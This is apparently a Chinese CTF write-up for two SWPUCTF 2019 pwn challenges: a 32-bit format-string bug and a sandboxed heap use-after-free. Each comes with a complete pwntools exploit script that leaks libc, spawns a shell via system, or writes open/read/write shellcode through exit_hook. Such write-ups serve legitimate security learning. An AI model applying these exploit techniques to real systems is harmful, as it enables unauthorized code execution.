SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。
SWPUCTF_2019_login
32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。
我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。
修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c
然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/sh\x00"的位置正好可以当作system的参数来拿shell。
1 from pwn import * 2 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'}) 4 libc = ELF('./libc-2.27-x86.so') 5 context.log_level = 'debug' 6 7 def fun(content): 8 p.sendlineafter('again!\n',content) 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 p.sendafter('name: \n','/bin/sh\x00') 14 p.sendlineafter('password: \n','%15$p-%6$p') 15 p.recvuntil('password: ') 16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main'] 17 p.recvuntil('-') 18 stack = int(p.recv(10),16) 19 print 'libc_base-->'+hex(libc_base) 20 print 'stack-->'+hex(stack) 21 system = libc_base+libc.symbols['system'] 22 print 'system-->'+hex(system) 23 24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn' 25 fun(payload) 26 payload = '%'+str(system&0xff)+'c%10$hhn' 27 fun(payload) 28 29 system = str(hex(system)) 30 system = system[:-2] 31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn' 32 fun(payload) 33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn' 34 fun(payload) 35 36 system = system[:-2] 37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn' 38 fun(payload) 39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn' 40 fun(payload) 41 42 system = system[:-2] 43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn' 44 fun(payload) 45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn' 46 fun(payload) 47 48 p.sendline('wllmmllw') 49 p.interactive()
SWPUCTF_2019_p1KkHeap
Ubuntu18.04的环境,保护全开,而且有沙箱保护。
如果调用execve会跳转到0011,会被KILL掉。(我猜的)
所以这题只能通过orw来拿flag。
程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。
free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 def add(size): 12 p.sendlineafter('Choice: ','1') 13 p.sendlineafter('size: ',str(size)) 14 def edit(index,content): 15 p.sendlineafter('Choice: ','3') 16 p.sendlineafter('id: ',str(index)) 17 p.sendafter('content: ',content) 18 def show(index): 19 p.sendlineafter('Choice: ','2') 20 p.sendlineafter('id: ',str(index)) 21 def delete(index): 22 p.sendlineafter('Choice: ','4') 23 p.sendlineafter('id: ',str(index)) 24 25 add(0x80) 26 delete(0) 27 delete(0) 28 show(0) 29 p.recvuntil('content: ') 30 heap_addr = u64(p.recv(6).ljust(8,'\x00')) 31 print 'haap_addr-->'+hex(heap_addr) 32 add(0x80) 33 edit(1,p64(heap_addr-0x250)) 34 add(0x80) 35 add(0x80) 36 edit(3,p64(0x0700000000000000)) 37 add(0x80) 38 add(0x80) 39 delete(4) 40 show(4) 41 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook'] 42 exit_hook = libc_base+0x619060+3840 43 print 'libc_base-->'+hex(libc_base) 44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000)) 45 add(0x80) 46 buf = 0x66660000+0x100 47 shellcode = shellcraft.open('./flag') 48 shellcode += shellcraft.read('rax',buf,100) 49 shellcode += shellcraft.write(1,buf,100) 50 payload = asm(shellcode) 51 print len(payload) 52 edit(6,payload) 53 add(0x10) 54 edit(7,p64(0x66660000)) 55 print p.recv()